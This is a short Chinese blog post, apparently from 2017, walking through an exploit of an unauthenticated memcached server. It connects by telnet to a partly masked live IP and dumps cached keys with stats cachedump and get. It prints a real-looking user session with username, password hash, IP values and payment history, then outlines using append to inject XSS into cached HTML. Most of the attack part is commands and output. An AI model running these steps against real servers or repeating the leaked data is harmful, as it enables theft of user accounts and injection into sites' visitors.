root@kali:/home/buxuan/go-derper# telnet 12x.13x.xx.xxx 11211
Trying 12x.13x.xx.xx...
Connected to 12x.13x.xx.xxx.
Escape character is '^]'.
说明漏洞存在



1:在内存中获取敏感信息

stats items   //获取所有内存中的KEY

STAT items:11:number 2
STAT items:11:age 81
STAT items:11:evicted 0
STAT items:11:evicted_nonzero 0
STAT items:11:evicted_time 0
STAT items:11:outofmemory 0
STAT items:11:tailrepairs 0
STAT items:11:reclaimed 1639
STAT items:11:expired_unfetched 142
STAT items:11:evicted_unfetched 0

END

接下来基于列出的items id   命令 stats cachedump items 0 //0表示获取所有的内容
stats cachedump 40 0
ITEM bWNfZGZfbmdzZGtfXzNrX2ZhaWxkYXRh [512447 b; 1484136213 s]
END

接下来就用get命令查找对应的session值 
get fe3550f558a77ab045ee6b2fa253e4fc
VALUE fe3550f558a77ab045ee6b2fa253e4fc 1 1356
a:52:{s:7:"user_id";s:8:"26897900";s:5:"email";s:0:"";s:6:"passwd";s:40:"7c4a8d09ca3762af61e59520943dc26494f8941b";s:12:"passwd_level";s:1:"1";s:9:"user_name";s:10:"k276107224";s:8:"is_login";s:1:"1";s:5:"phone";s:0:"";s:6:"mobile";s:14:"A000002C8F8FF6";s:6:"reg_ip";s:9:"975367684";s:8:"reg_time";s:10:"1444994053";s:10:"last_login";s:10:"1484085336";s:7:"last_ip";s:9:"975367684";s:17:"first_charge_time";s:10:"1454458538";s:16:"last_charge_time";s:10:"1473592187";s:12:"charge_today";s:1:"0";s:12:"charge_total";s:5:"11400";s:12:"charge_count";s:2:"11";s:7:"safe_aq";s:0:"";s:16:"safe_verify_time";s:1:"0";s:12:"super_passwd";N;s:12:"real_certify";s:1:"0";s:12:"email_verify";s:1:"0";s:13:"idcard_verify";s:1:"0";s:4:"name";s:0:"";s:8:"nickname";s:0:"";s:9:"signature";s:0:"";s:4:"face";s:0:"";s:8:"face_tmp";s:0:"";s:9:"figureurl";s:0:"";s:3:"sex";s:0:"";s:7:"marital";s:1:"0";s:6:"height";s:0:"";s:6:"weight";s:0:"";s:8:"birthday";s:10:"1980-01-01";s:6:"idcard";s:0:"";s:2:"qq";s:0:"";s:7:"website";s:0:"";s:7:"address";s:0:"";s:7:"country";s:1:"0";s:8:"province";s:1:"0";s:4:"city";s:1:"0";s:4:"area";s:1:"0";s:8:"timezone";s:0:"";s:11:"verify_info";N;s:5:"score";s:1:"0";s:9:"reg_canal";s:4:"5592";s:6:"isauto";s:1:"1";s:11:"login_total";s:1:"0";s:12:"charge_limit";s:1:"0";s:10:"occupation";s:0:"";s:6:"old_id";s:8:"24623803";s:6:"bbs_id";s:1:"0";}
END
重复循环这个,在里面寻找缓存的用户信息,这里读取的密码是加密的。



  2:通过修改缓存中的htnl 构造XSS

memcached  中的 append 命令的基本语法格式如下:

append key flags exptime bytes [noreply]
value

参数说明如下:

  • key:键值 key-value 结构中的 key,用于查找缓存值。
  • flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
  • exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)
  • bytes:在缓存中存储的字节数
  • noreply(可选): 该参数告知服务器不需要返回数据
  • value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)
  • 实例如下:

    • 首先我们在 Memcached 中存储一个键 runoob,其值为 memcached。
    • 然后,我们使用 get 命令检索该值。
    • 然后,我们使用 append 命令在键为 runoob 的值后面追加 "redis"。
    • 最后,我们再使用 get 命令检索该值。
    set runoob 0 900 9
    memcached
    STORED
    get runoob
    VALUE runoob 0 9
    memcached
    END
    append runoob 0 900 5
    redis
    STORED
    get runoob
    VALUE runoob 0 14
    memcachedredis
    END

    输出

    如果数据添加成功,则输出:

    STORED

    输出信息说明:

    • STORED:保存成功后输出。
    • NOT_STORED:该键在 Memcached 上不存在。
    • CLIENT_ERROR:执行错误。
    •    
      • 具体内容那个可以查找 http://blog.nsfocus.net/memcache-unauthorized-access-exploit/
posted on 2017-01-11 18:09  艾特时代-BuXuan  阅读(2258)  评论(0编辑  收藏  举报